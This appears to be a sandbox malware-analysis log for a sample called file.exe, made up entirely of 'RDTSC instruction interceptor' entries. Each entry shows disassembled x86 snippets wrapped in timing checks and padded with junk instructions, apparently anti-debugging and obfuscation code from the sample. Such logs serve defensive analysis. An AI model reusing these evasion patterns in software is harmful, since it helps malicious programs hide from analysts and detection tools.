Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60C348 second address: 60C35B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F789CC6148Dh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 593F89 second address: 593FA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F789C73D5B2h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 593FA0 second address: 593FC2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F789CC61492h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jo 00007F789CC6148Eh 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 593FC2 second address: 593FC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DFDE2 second address: 5DFE6E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F789CC6148Dh 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007F789CC61488h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 00000014h 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 mov dl, 2Fh 0x0000002a xor dword ptr [ebp+1248483Dh], ebx 0x00000030 lea eax, dword ptr [ebp+12491B75h] 0x00000036 push 00000000h 0x00000038 push eax 0x00000039 call 00007F789CC61488h 0x0000003e pop eax 0x0000003f mov dword ptr [esp+04h], eax 0x00000043 add dword ptr [esp+04h], 0000001Ah 0x0000004b inc eax 0x0000004c push eax 0x0000004d ret 0x0000004e pop eax 0x0000004f ret 0x00000050 js 00007F789CC6148Bh 0x00000056 sbb di, 4480h 0x0000005b jmp 00007F789CC61492h 0x00000060 mov ecx, dword ptr [ebp+122D3B4Dh] 0x00000066 push eax 0x00000067 push eax 0x00000068 push edx 0x00000069 push eax 0x0000006a push edx 0x0000006b push esi 0x0000006c pop esi 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DFE6E second address: 5DFE74 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DFE74 second address: 5BD463 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push esi 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov edx, dword ptr [ebp+122D3B19h] 0x00000013 call dword ptr [ebp+122D1F44h] 0x00000019 je 00007F789CC614A3h 0x0000001f jmp 00007F789CC6148Fh 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DFEF5 second address: 5DFEFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E034D second address: 421C32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F789CC61494h 0x0000000e nop 0x0000000f jmp 00007F789CC61494h 0x00000014 push dword ptr [ebp+122D0825h] 0x0000001a or dword ptr [ebp+1246AF5Bh], edx 0x00000020 mov edi, 2E501714h 0x00000025 call dword ptr [ebp+122D2509h] 0x0000002b pushad 0x0000002c pushad 0x0000002d mov edi, dword ptr [ebp+122D3B49h] 0x00000033 popad 0x00000034 xor eax, eax 0x00000036 mov dword ptr [ebp+122D1953h], edi 0x0000003c mov edx, dword ptr [esp+28h] 0x00000040 jmp 00007F789CC61495h 0x00000045 mov dword ptr [ebp+122D3A41h], eax 0x0000004b xor dword ptr [ebp+122D1953h], ecx 0x00000051 sub dword ptr [ebp+122D23D4h], edi 0x00000057 mov esi, 0000003Ch 0x0000005c jmp 00007F789CC61492h 0x00000061 add esi, dword ptr [esp+24h] 0x00000065 je 00007F789CC61492h 0x0000006b jbe 00007F789CC6148Ch 0x00000071 mov dword ptr [ebp+122D1953h], ebx 0x00000077 lodsw 0x00000079 clc 0x0000007a add eax, dword ptr [esp+24h] 0x0000007e pushad 0x0000007f mov bh, 82h 0x00000081 jbe 00007F789CC61486h 0x00000087 popad 0x00000088 mov ebx, dword ptr [esp+24h] 0x0000008c cld 0x0000008d nop 0x0000008e push ecx 0x0000008f push eax 0x00000090 push edx 0x00000091 jns 00007F789CC61486h 0x00000097 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E03F2 second address: 5E043C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F789C73D5B1h 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F789C73D5ABh 0x00000011 push esi 0x00000012 push edx 0x00000013 pop edx 0x00000014 pop esi 0x00000015 popad 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a push ebx 0x0000001b jns 00007F789C73D5B1h 0x00000021 pop ebx 0x00000022 mov eax, dword ptr [eax] 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 jp 00007F789C73D5A6h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E043C second address: 5E044B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jns 00007F789CC61486h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E044B second address: 5E0485 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a jmp 00007F789C73D5B8h 0x0000000f pop eax 0x00000010 mov edx, 03E2B802h 0x00000015 push C725E319h 0x0000001a pushad 0x0000001b push edx 0x0000001c jp 00007F789C73D5A6h 0x00000022 pop edx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0485 second address: 5E0489 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E093B second address: 5E0941 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0941 second address: 5E0972 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b and cl, FFFFFFCEh 0x0000000e push 00000004h 0x00000010 mov cl, ah 0x00000012 push eax 0x00000013 pushad 0x00000014 jmp 00007F789CC61499h 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c pop eax 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0E3B second address: 5E0E41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60F6A2 second address: 60F6AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F789CC61486h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60F6AC second address: 60F6CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F789C73D5B8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60F6CB second address: 60F6D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60F81C second address: 60F822 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60F822 second address: 60F83D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pushad 0x0000000b popad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e popad 0x0000000f jns 00007F789CC61488h 0x00000015 push edx 0x00000016 pop edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60F83D second address: 60F841 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60FB4E second address: 60FB53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60FF5E second address: 60FF66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60FF66 second address: 60FF74 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F789CC61492h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60FF74 second address: 60FF8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F789C73D5A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnl 00007F789C73D5D4h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60FF8A second address: 60FF8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60FF8E second address: 60FFAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F789C73D5B0h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007F789C73D5A6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6100AF second address: 6100BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F789CC6148Bh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618865 second address: 61886A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618AB5 second address: 618AC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F789CC6148Bh 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618AC9 second address: 618AD1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61933B second address: 619345 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F789CC6148Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6194BC second address: 6194CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F789C73D5ADh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61C2C6 second address: 61C2E9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F789CC6149Dh 0x0000000c jmp 00007F789CC61497h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61C2E9 second address: 61C2F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F789C73D5A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61C2F3 second address: 61C324 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F789CC61495h 0x0000000e push eax 0x0000000f pop eax 0x00000010 push edi 0x00000011 pop edi 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 js 00007F789CC6149Ch 0x0000001b push eax 0x0000001c push edx 0x0000001d push ecx 0x0000001e pop ecx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61C324 second address: 61C32E instructions: 0x00000000 rdtsc 0x00000002 jg 00007F789C73D5A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61C498 second address: 61C49E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61C49E second address: 61C4BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F789C73D5B1h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61E81C second address: 61E823 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622564 second address: 62256D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622021 second address: 622027 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622027 second address: 62202C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6222C6 second address: 6222D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F789CC61486h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6222D2 second address: 622323 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push edi 0x00000009 pop edi 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jmp 00007F789C73D5B1h 0x00000012 jnl 00007F789C73D5CCh 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e pop eax 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622323 second address: 622338 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F789CC61491h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 623BCC second address: 623C05 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F789C73D5C6h 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b jmp 00007F789C73D5AAh 0x00000010 push edx 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 623C05 second address: 623C1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jno 00007F789CC6148Ah 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 629EF3 second address: 629F1D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F789C73D5A6h 0x00000009 jng 00007F789C73D5A6h 0x0000000f popad 0x00000010 je 00007F789C73D5BEh 0x00000016 jmp 00007F789C73D5B2h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62876A second address: 628772 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 628772 second address: 62877C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pushad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6288D6 second address: 6288DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 628C01 second address: 628C09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 628C09 second address: 628C12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 628C12 second address: 628C1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F789C73D5A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 628D8F second address: 628DA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F789CC6148Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 628DA2 second address: 628DBF instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F789C73D5A6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F789C73D5B1h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 628F09 second address: 628F15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 628F15 second address: 628F1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 628F1C second address: 628F54 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F789CC6148Fh 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push ebx 0x0000000d push edi 0x0000000e pop edi 0x0000000f jl 00007F789CC61486h 0x00000015 pop ebx 0x00000016 pushad 0x00000017 jne 00007F789CC61486h 0x0000001d jmp 00007F789CC6148Fh 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6291E8 second address: 6291EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6291EC second address: 6291F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6291F0 second address: 6291F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62DB98 second address: 62DB9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62CF27 second address: 62CF61 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F789C73D5AEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007F789C73D5B7h 0x0000000f push eax 0x00000010 jmp 00007F789C73D5AEh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62D6C6 second address: 62D6E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F789CC61495h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62D6E2 second address: 62D6EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007F789C73D5ACh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 634B92 second address: 634BAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F789CC61490h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 632E3E second address: 632E50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F789C73D5AAh 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 632E50 second address: 632E56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 633112 second address: 63311C instructions: 0x00000000 rdtsc 0x00000002 jl 00007F789C73D5A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63311C second address: 633149 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F789CC6148Dh 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f jmp 00007F789CC61496h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6336FC second address: 63370F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 jno 00007F789C73D5A8h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63370F second address: 633713 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 633713 second address: 633723 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F789C73D5ACh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 633973 second address: 633979 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 634244 second address: 63424A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63424A second address: 63424E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63486D second address: 634876 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 634876 second address: 63488D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F789CC61493h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63488D second address: 6348F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F789C73D5B6h 0x0000000c push esi 0x0000000d pop esi 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 popad 0x00000012 jne 00007F789C73D5E7h 0x00000018 jl 00007F789C73D5D3h 0x0000001e jmp 00007F789C73D5B6h 0x00000023 jmp 00007F789C73D5B7h 0x00000028 jl 00007F789C73D5AEh 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 638521 second address: 638536 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F789CC6148Dh 0x00000009 pop edi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 638536 second address: 638547 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F789C73D5A6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 638547 second address: 63854D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
